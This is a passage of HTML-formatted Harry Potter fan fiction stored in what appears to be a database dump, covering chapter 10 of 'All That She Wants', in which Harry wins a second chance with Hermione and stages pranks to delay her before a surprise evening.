</p> '),
	(15, 10, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer:&nbsp; No way are any of the original HP characters mine they totally\nbelong to J.K. Rowlings.&nbsp; You are nuts to even think that I own this,\nwhere do you people get your information. Honestly :)</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">All\nThat She Wants</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n10&#8212;I&#8217;ll Make Love To You</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry glanced up; he saw within\nher eyes that she was tired of this.&nbsp;\nTired of him? No, that would never happen.&nbsp; But he could see that she was tired of him\nchasing her around.&nbsp; But he also saw that\nshe really did care about him, yet she was afraid.&nbsp; It was odd seeing her scared like this, she\nwas usually so brave and relatively easy going, except for when it comes to her\nstudies, but that&#8217;s different.&nbsp; She had\nnever been one to run away from a challenge.&nbsp;\nBut this, Harry could see, scared her to death.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, I know I could never\ntake back what happened.&nbsp; But all I ask\nis for you to give me one month.&nbsp; Just\none month of your time to see if you really could trust me again, I know I&#8217;m\nfar from deserving of it.&nbsp; But I love\nyou, I do.&nbsp; Just let me prove it.\nPlease.&#8221; His voice trimmed with a slight desperation, he no longer cared about\nthe tones in his voice.&nbsp; He would speak\nfrom his heart no matter how desperate it sounded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione was suddenly aware of\nwhere they were, people were gathered around\nthem.&nbsp; The air about them was so quiet\nnot even the birds chirped.&nbsp; &#8220;Harry get\nup, you&#8217;re embarrassing yourself.&#8221; She glanced back at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t care about that; I&#8217;ll\nembarrass myself to the end of time if that&#8217;s what it takes for you to give me\nanother chance.&nbsp; I&#8217;ll even dye my hair\nblue, would that make you happy?&#8221; He was dead serious.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The vision of Harry in blue hair\nran through her mind, she couldn&#8217;t help but laugh about it.&nbsp; &#8220;Well now, you don&#8217;t need to be doing\nanything like that.&#8221; She said fighting back her laughter.&nbsp; Hermione grabbed his hands pulling him to his\nfeet; then looking up at him.&nbsp; &#8220;One\nmonth, that&#8217;s a long time for someone who has a new girlfriend every week you\nknow?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Go on honey, give him a chance.&#8221;\nAn old lady shouted from the circle of viewers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione chuckled lightly at the\nsite of the old lady&#8217;s wide grin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah Hermione, go on give him a\nchance.&#8221; Harry said with a smile.&nbsp; &#8220;And\nyou should never ever argue with your elders.&#8221; He pointed out with an even\nsillier grin on his face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked extremely serious\nas she said, &#8220;Advice given from people over sixty tends to be outdated.&#8221;&nbsp; She noticed that he looked ready to cry\nagain; she couldn&#8217;t take that.&nbsp; Just\nsomething about Harry in tears made her feel all warm and bubbly inside.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded; his head lowered\nslightly, all of his hope for them ever being together vanished with just those\nwords uttered by Hermione, he glanced at the ground feeling very depressed, his\nheart was aching and he felt sick to his stomach. &#8220;Look, I can see you really\nmeant it when you said you didn&#8217;t love me.&nbsp;\nI&#8217;m so sorry I wasted your time, I won&#8217;t bother you anymore.&#8221; He turned\nto go, but a hand on his shoulder made him stop.&nbsp; He turned around.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s not that Harry, it&#8217;s just I\nneed build up my trust in you again.&nbsp; It\nwon&#8217;t be a quick fix, but I am willing to give it a chance to see if there\nreally is something between us.&#8221; Hermione saw a flicker of hope flash in his\neyes with what she had said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked around at all the\npeople gawking at them; and he smirked.&nbsp;\n&#8220;All right you all, go on with your business,\nnothing left to see here.&#8221; He playfully shooed them away with his hands.&nbsp; A few chuckles escaped the crowd as it\nstarted to break up and people did in fact go on with their business.&nbsp; He turned his attention back to Hermione; he\ncouldn&#8217;t help but smile.&nbsp; &#8220;You really\nmean that, you&#8217;ll give me a second chance?&#8221; He still sounded a bit unsure.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, &#8220;Yes, I really\nmeant it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Woohoo!&#8221;\nHarry shouted and jumped around, causing Hermione to laugh, he too laughed\nright along with her.&nbsp; &#8220;Hermione, you\ndon&#8217;t know how much that means to me, you giving me another chance like this.&nbsp; You won&#8217;t regret it, I promise you.&#8221; He took\nher hands in his, rubbing his thumbs along her knuckles.&nbsp; Before he realized what he was doing he had\nleaned forward ready to press his lips against hers, the thing that stopped him\nwas the hand the came up and pressed against his chest and the lovely voice\nringing in his ears.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hold on there, lover boy not so\nfast.&#8221; Hermione said with a hint of amusement in her voice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Huh?&#8221; Harry was confused as he\npulled back regarding her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No kissing,&#8221; Hermione said\nwagging her finger like she was scolding him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was shocked. &#8220;What, why?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione tilted her head to the\nside a bit, &#8220;Because one has to keep a clear head when dealing with you.&#8221; She\nsmiled, tapping him on the nose.&nbsp; &#8220;I tend\nto lose my mind when kissing you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You say that like it&#8217;s a bad\nthing.&#8221; Harry teased.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s not really a bad thing, but\nI want to make sure that your feelings for me are real, and that I&#8217;m not just\nthe next one, the unobtainable one as you have often called your unfulfilled\nconquests.&#8221; Hermione was pleasant, but still very serious.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah all right, I understand I\nguess.&nbsp; Of course it doesn&#8217;t mean I won&#8217;t\nstop trying, as you know I never give up.&#8221; His smile was wide.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right I&#8217;m sure it&#8217;s nearly\ndinner time back at Hogwarts so we better get going.&#8221; Hermione replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry quickly grabbed her hand,\n&#8220;I&#8217;m allowed to hold your hand at least, right?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure, I don&#8217;t see why not.&#8221; She\nsmiled as they walked hand in hand back towards Hogwarts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">~*~*~*Almost one month later~*~*~*</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry appeared to be dancing on\nair as he swept into divination. &#8220;Good morning again to you Blaise.&#8221; He said\nsitting at the table in front of hers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise shook her head back and\nforth, &#8220;You are just too happy,&#8221; She looked up at him. &#8220;It&#8217;s nauseating.&#8221; She\nsmirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah you&#8217;re just jealous.&nbsp; Jea&#8230;lous.&#8221; He drawled out slowly while wearing a silly grin on\nhis face. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I am not.&#8221; Blaise&#8217;s eyebrows\ncrinkled together.&nbsp; &#8220;Besides you ain&#8217;t that great.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Yeah, yeah.&#8221; Harry\nshrugged.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I assure you Harry that I am not\njealous, in fact I have my eye on someone myself.&#8221; She said going back to her\nbook.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oooh\nreally and just who might that be, hmm?&#8221; Harry said as his eyes peered over the\nrim of her book.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t laugh, but I like&#8230;&#8221; She\nleaned closer so only he could hear her and she spoke in a quiet whisper.\n&#8220;Draco Malfoy.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;DRACO\nMALFOY?!...THE HUFFLEPUFF?!&#8221; Harry was astonished, not to mention\ncompletely taken by surprise. Several students turned in their direction at\nhearing Harry&#8217;s loud voice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise glared at him, &#8220;You know I\ndon&#8217;t think they heard you in&#8230;BRAZIL!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry laughed a bit. &#8220;Heh, sorry.&nbsp; It&#8217;s\njust really shocking.&nbsp; Draco Malfoy huh,\nwhat do you see in him?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He&#8217;s nice.&#8221; Blaise smiled to\nherself, &#8220;And thoughtful, and cute and well... He treats me like I&#8217;m special\nyou know.&#8221;&nbsp; She glanced down at her\nbook.&nbsp; &#8220;When we&#8217;re like studying or\nsomething he&#8217;s very considerate.&nbsp; He gets\nreally shy too, I think he wants to ask me on a date but he seems to lose his\nnerve.&#8221; She said while trailing her fingertip along her book&#8217;s page.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I hope everything works out\nfor you.&#8221; Harry said then grinned cheekily, &#8220;Now back to me here, you are going\nto help me prepare for my perfect evening with Hermione, tonight, right?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of course I am,\nyou made me a list of everything she likes right, her favorite foods, music and\nsuch right?&#8221; Blaise smiled, she loved planning things like this.&nbsp; She probably would have a good future as a\ndecorator.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took the list out of his\npocket within his robe and handed it to her.&nbsp;\n&#8220;I hope this is good enough.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise nodded looking at the list,\n&#8220;Yes it&#8217;s perfect.&nbsp; Now don&#8217;t let her\ncome up to the dorm until seven O&#8217;clock,\nthat&#8217;s when I&#8217;ll have everything ready.&nbsp;\nOh and don&#8217;t let her eat anything at dinner.&#8221;&nbsp; She heard the professor start the class and\ngave Trelawney her attention.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">In the Great Hall, Harry stood by\nHermione&#8217;s place sitting, she always sat there he was sure of it.&nbsp; He pulled out his wand and charmed her plate.\nIt flickered a moment then was its normal neutral silver color.&nbsp; He rushed back to his seat just as Blaise was\nsitting down to dinner.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And just what were you doing over\nthere?&#8221; Blaise said, gracefully crossing her legs underneath the table.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was smirking as he drank\nfrom his cup, &#8220;I just made sure that Hermione doesn&#8217;t eat anything till later\ntonight.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh and just how did you do that?&#8221;\nBlaise was intrigued.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I charmed her plate; she won&#8217;t be\nable to eat anything.&#8221; Harry sniggered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise shook her head amused, &#8220;I&#8217;m\njust gonna grab a small bite and then I&#8217;m off to prepare the rooms for you and\nyour lady fair.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;Well I had to show\nup so she won&#8217;t think something is up.&nbsp;\nHermione knows that I for one never miss a meal.&#8221; Harry said as he\nbarely nibbled on the food in front of him.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione was nearly starving as\nshe strolled into The Great Hall for dinner; she was sure going to pig out\ntonight.&nbsp; The boys no longer swarmed\naround her, she was glad of that.&nbsp; Of\ncourse the near death threat that Harry gave all the males nearly scared the\nstuffing out of them, she wouldn&#8217;t have used that approach.&nbsp; Hermione sat down, she was ready to eat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She put on her plate a scoop of\npotatoes, some veggies covered in cheese sauce and a small baked Cornish\nhen.&nbsp; Hermione lifted her knife and fork\nwhen she heard a soft murmuring, it sounded like something saying &#8216;No please don&#8217;t.&#8217;&nbsp; She shook her head a bit and finally stuck\nthe fork into the meat, she heard a loud squeal and she threw the utensils down\nin horror.&nbsp; Heads turned and looked at\nher; she smiled nervously at them and looked back down at the plate of food.\nShe lifted the chicken up looking at it; it wasn&#8217;t making any noise at\nall.&nbsp; Perhaps it was all in her mind.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione took a breath and lifted\nher fork over towards the veggies, and she neared a piece of broccoli, she was\ngoing to stab the stem when two eyes popped out.&nbsp; She stared at the vegetable in shock, her lip\ncurled slightly.&nbsp; Hermione heard a faint\npopping sound as two arms also came out of the stem and waved frantically in\nthe air. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Please don&#8217;t eat me.&#8221; The broccoli begged.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A small squeak escaped Hermione&#8217;s\nlips. &#8220;Great Gods.&#8221; She breathed out nervously.&nbsp; The fork dropped from her hand, she picked up\nthe chicken again and was just going to rip into it, but it started talking.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, please I have a family.&nbsp; Don&#8217;t eat me.&nbsp;\nEat the potatoes.&#8221; The chicken said and two eyes popped out of the\npotatoes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t listen to him she&#8217;s a bald\nface lair. Eat the chicken, she deserves it.&#8221; The potatoes argued,</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;The potatoes!&#8221;\nThe chicken yelled<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;The chicken!&#8221;\nThe potatoes squealed.<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Potatoes!&#8221;\nThe chicken sort of turned and what looked like glared at the potatoes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Chicken!&#8221;\nThe potatoes glared back.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">That was it, Hermione couldn&#8217;t\ntake it anymore she threw the chicken down, jumped up from the table and bolted\nscreaming from the Great Hall, which was Harry&#8217;s cue to leave as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">****</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It was forty minutes till seven,\nHarry kept looking up at the clock every two seconds, time seemed to slow down\nconsiderably, or perhaps he was just nervous.&nbsp;\nHe didn&#8217;t understand why or how he could be nervous, the great Harry Potter\nwas never nervous, he kept tapping the end of his quill against the table in\nthe library where he and Hermione had been studying.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is something the matter?&#8221;\nHermione suddenly said not lifting her eyes from her page.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Something the\nmatter?&#8221; Harry repeated, his voice sounding\noddly high pitched; he coughed a bit to clear his throat.&nbsp; &#8220;No, why would something be the matter?&#8221; He\ngrinned oddly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione finally looked up at him,\nher left brow was raised slightly in disbelief, &#8220;Well you have been tapping your\nquill against the table here for sometime, and usually you only do that when\nyou are thinking about something really serious.&#8221;&nbsp; She casually turned a page in her book while\nreturning her gaze to it.&nbsp; She was really\nconfused; he was acting so strange that whole day, she had not once ever seen\nhim acting like that.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">While her face was still tilted\ndownwards toward the book, she lifted her eyes a bit watching him.&nbsp; Was that sweat on his forehead?&nbsp; She watched as he lifted his arm and wipe at his\nbrow.&nbsp; Hermione continued to watch him,\nhis eyes were shifting about like crazy, and he kept looking in all different\ndirections as if waiting for something.&nbsp;\nEarlier that day in potions he had added wrong ingredients into his\npotions because his gaze was constantly on her.&nbsp;\nWhen he had come over to her table to borrow some Taro root he was\nstuttering like mad.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry?&#8221; Hermione calmly, gently\nsaid</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nearly jumped up out of his\nseat, &#8220;Uh, what?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Something is bothering you, I can\ntell.&#8221; Hermione said with a tiny smile, &#8220;Whatever it is you can tell me.&nbsp; I&#8217;m here to listen.&#8221; She put a tender hand\nover his on the table.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What do you mean, I&#8217;m fine.&#8221;&nbsp; He gave a little nervous chuckle, which made\nHermione tilt her head to the side; the expression on her face clearly told him\nthat she did not believe him. &#8220;No really, everything is just fine.&#8221; He grinned\nagain.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Nodding, Hermione closed her book.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Wh&#8212;what are you doing?&#8221;\nHarry looked at her as she was putting her book back into her bag.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I&#8217;m finished studying, and I\ndon&#8217;t know about you but I could use a nice soothing bubble bath.&nbsp; So I was gonna head on&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry abruptly stood interrupting\nher, &#8220;No!&#8221; He shouted.&nbsp; He heard the\nvoices around him shushing him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No?&#8221; Hermione stopped as she was\nswinging her bag onto her back. &#8220;What do you mean no?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I mean, I just need some\nmore&#8230;uh&#8230;help on this.&#8221; He pointed down to his book.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked down at the book\nthat Harry was gesturing too, &#8220;Harry your book is upside down, I think you are\nvery tired, you should get some rest.&#8221;&nbsp;\nShe started walking towards the library doors with Harry trying to catch\nup with her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, I really need help.&#8221; He\nsaid following her, hoping it would slow her down if he could get her to talk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry we can work on it tomorrow,\nit is Saturday and all.&nbsp; Besides I&#8217;m\ncompletely worn out, I&#8217;ve been working hard all day I deserve a nice relaxing\nevening.&#8221; Hermione did not slow her pace one bit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took one last look at the\nclock, for him it seemed to say a half hour too early to go up, stall her.&nbsp; Harry shook his head; he was starting to see\nthings the clock seemed to be speaking to him.&nbsp;\nIt was then he heard the library doors close and he ran towards them dashing\nout.&nbsp; He tried to catch up to Hermione,\nshe was way ahead.&nbsp; He had to think of\nsomething and quick.&nbsp; Since he was a very\ngood actor he took a dive and yelled&#8230; &#8220;OW!!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione abruptly stopped and\nturned around she saw Harry on the floor clutching his ankle; he looked like he\nwas in pain.&nbsp; She rushed over as fast as\nher feet could carry her.&nbsp; &#8220;Harry what\nhappened, are you all right?&#8221; She was very worried as she kneeled down resting\nher hand on his shoulder comfortingly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8212;It&#8217;s\nmy ankle.&#8221; He breathed out in pain, or in other words faked.&nbsp; But he was doing a good job since she\nbelieved him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh here let me take you to the\nhospital wing.&#8221; She offered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, just walk me back to the\ndorm. I&#8217;ll be fine I just need some rest.&#8221;&nbsp;\nHe laughed to himself thinking, &#8216;<i style="mso-bidi-font-style:normal">This\nwould surely slow her down, and I&#8217;ll make her walk really, really slow.&#8217;</i>&nbsp; Harry continued to laugh inside his\nhead.&nbsp; He abruptly stopped when he saw\nher take out her wand pointing it at him; for once he was confused with her\nintentions.&nbsp; &#8220;Hermione, what are you\ndoing?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m going to levitate you silly,&#8221;\nHermione said with a kind smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No! I mean you can&#8217;t do\nthat.&nbsp; No magic in the corridors\nremember?&nbsp; You might get in trouble.&#8221;\nHarry reminded her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Once again Hermione looked at him\noddly, &#8220;Since when do you care if I use magic in the corridors?&nbsp; We&#8217;ve been doing that for years and have yet\nto be caught as you have said all seven years that we&#8217;ve been here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s just that&#8230;um&#8230;I hear Filch,\nyeah that&#8217;s it.&#8221;&nbsp; He put his hand next to\nhis ear cuffing it.&nbsp; &#8220;Shhh\nif you&#8217;re very quiet you can hear him.&#8221; Harry listened to the air around him it\nwas still as still can be. &#8220;Yep that&#8217;s him all right.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione listened carefully while\nlooking in both directions of the corridor, &#8220;I don&#8217;t hear anything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sighed, &#8220;Just help me all\nright.&#8221; He looked like he was attempting to stand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right,&#8221; Hermione stood. &#8220;Here\nlean on me for support.&#8221;&nbsp; She smiled a\nbit and started helping him back to the dorm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After what felt like an hour and\nat least seven or more rest breaks later they finally reached the entrance\nportrait.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s the last time I listen to\nyou Harry, I swear the next time you are hurt I&#8217;m gonna use magic I don&#8217;t care\nwhat the consequences are.&#8221; Hermione stretched out her back, it was sore from\nhelping Harry through the corridors; he was heavier than he looked.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was casually leaning up\nagainst the wall, he couldn&#8217;t help but smile thinking about what Hermione was\ngoing to find when she steps through the portrait hole.&nbsp; He now understood why he was acting so\nnervous and possibly ridiculous.&nbsp; He had\nnever been in love before, but now that he is, love makes you do crazy silly\nthings.&nbsp; His grin was getting wider and\nbrighter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry, I thought you were in\npain, why are you grinning?&#8221; Hermione couldn&#8217;t understand him at all today,\nsomething was off; something was well, strange.</p>\n\n<p class="MsoNormal" 